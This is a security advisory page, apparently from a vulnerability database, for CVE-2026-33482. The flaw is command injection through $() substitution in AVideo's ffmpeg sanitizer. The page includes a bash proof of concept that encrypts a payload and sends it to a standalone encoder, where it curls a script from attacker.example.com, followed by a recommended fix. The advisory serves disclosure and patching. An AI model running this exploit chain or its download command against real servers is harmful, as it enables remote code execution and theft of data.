Vulnerability-Lookup

GHSA-PMJ8-R2J7-XG6C

Vulnerability from github – Published: 2026-03-20 20:46 – Updated: 2026-03-25 18:50

Summary

AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

Details

Summary

The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

Details

Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];

    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n

    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}

The character class [;|<>]on line 70 does not include$,(,), or\n. This means$(...)` command substitution passes through completely unmodified.

Execution sink (objects/functionsExec.php:656-658):

$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";

The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.

Execution flow: 1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php 2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt 3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped 4. Command passes prefix check (starts with ffmpeg) 5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution

Auth barrier analysis: - Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds - Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) — cryptographically strong - IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone - On legacy installations without saltV2, falls back to $global['salt'] which may be weaker - The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting

PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'

# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"

# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV  = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")

# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"

# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script

Sanitization trace for the payload: - str_replace('&&', '', ...) → no && present, passes - preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...) → no > outside $(), passes - preg_replace('/[;|<>]/', '', ...)→ no;|<> present, passes - Prefix check → starts with ffmpeg, passes - addcslashes($command, '"') → no " in payload, $() untouched

Impact

Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
Service Disruption: Attacker can terminate encoding processes or consume system resources

The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.

Recommended Fix

Replace the denylist-based sanitization with proper argument escaping:

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];

    // Verify it starts with an allowed prefix
    $trimmed = trim($command);
    $validPrefix = false;
    foreach ($allowedPrefixes as $prefix) {
        if (strpos($trimmed, $prefix) === 0) {
            $validPrefix = true;
            break;
        }
    }
    if (!$validPrefix) {
        _error_log("Sanitization failed: Command does not start with an allowed prefix");
        return '';
    }

    // Strip ALL shell metacharacters, including command substitution
    // This covers: ; | ` < > $ ( ) { } \n \r
    $command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/[\n\r]/', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);

    _error_log("Command sanitized successfully");
    return $command;
}

Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:46:39Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`\u0026\u0026`, `;`, `|`, `` ` ``, `\u003c`, `\u003e`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n    \n    // Remove dangerous characters\n    $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, $command);  // Missing: $ ( ) \\n\n    \n    // Ensure it starts with an allowed prefix\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos(trim($command), $prefix) === 0) {\n            return $command;\n        }\n    }\n    return \u0027\u0027;\n}\n```\n\nThe character class `[;|`\u003c\u003e]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";\n```\n\nThe `addcslashes($command, \u0027\"\u0027)` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server\u0027s unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` \u2014 `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` \u2014 `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` \u2014 cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` \u2014 predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global[\u0027salt\u0027]` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing \u003e which would be stripped\nMALICIOUS_CMD=\u0027ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4\u0027\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV  = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = \u0027KNOWN_SALTV2\u0027;\n\\$iv_source = \u0027/var/www/html/AVideo/\u0027;\n\\$key = hash(\u0027sha256\u0027, \\$salt);\n\\$iv = substr(hash(\u0027sha256\u0027, \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt(\u0027$PAYLOAD\u0027, \u0027AES-256-CBC\u0027, \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c \u0027import urllib.parse; print(urllib.parse.quote(\\\"\u0027$ENCRYPTED\u0027\\\"))\u0027)\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker\u0027s script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)` \u2192 no `\u0026\u0026` present, passes\n- `preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, ...)` \u2192 no `\u003e` outside `$()`, passes\n- `preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, ...)` \u2192 no `;|`\u003c\u003e` present, passes\n- Prefix check \u2192 starts with `ffmpeg`, passes\n- `addcslashes($command, \u0027\"\u0027)` \u2192 no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n\n    // Verify it starts with an allowed prefix\n    $trimmed = trim($command);\n    $validPrefix = false;\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos($trimmed, $prefix) === 0) {\n            $validPrefix = true;\n            break;\n        }\n    }\n    if (!$validPrefix) {\n        _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n        return \u0027\u0027;\n    }\n\n    // Strip ALL shell metacharacters, including command substitution\n    // This covers: ; | ` \u003c \u003e $ ( ) { } \\n \\r\n    $command = preg_replace(\u0027/[;|`\u003c\u003e$(){}\\\\\\\\]/\u0027, \u0027\u0027, $command);\n    $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/[\\n\\r]/\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n\n    _error_log(\"Command sanitized successfully\");\n    return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
  "id": "GHSA-pmj8-r2j7-xg6c",
  "modified": "2026-03-25T18:50:02Z",
  "published": "2026-03-20T20:46:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()"
}

CVE-2026-33482 (GCVE-0-2026-33482)

Vulnerability from cvelistv5 – Published: 2026-03-23 14:10 – Updated: 2026-03-23 18:08

Title

AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/25c8ab90269…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33482",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-23T17:59:51.056736Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-23T18:08:31.712Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`\u0026\u0026`, `;`, `|`, `` ` ``, `\u003c`, `\u003e`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T14:10:10.157Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
        }
      ],
      "source": {
        "advisory": "GHSA-pmj8-r2j7-xg6c",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33482",
    "datePublished": "2026-03-23T14:10:10.157Z",
    "dateReserved": "2026-03-20T16:16:48.970Z",
    "dateUpdated": "2026-03-23T18:08:31.712Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-PMJ8-R2J7-XG6C

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-33482 (GCVE-0-2026-33482)

Tags

Sightings

Nomenclature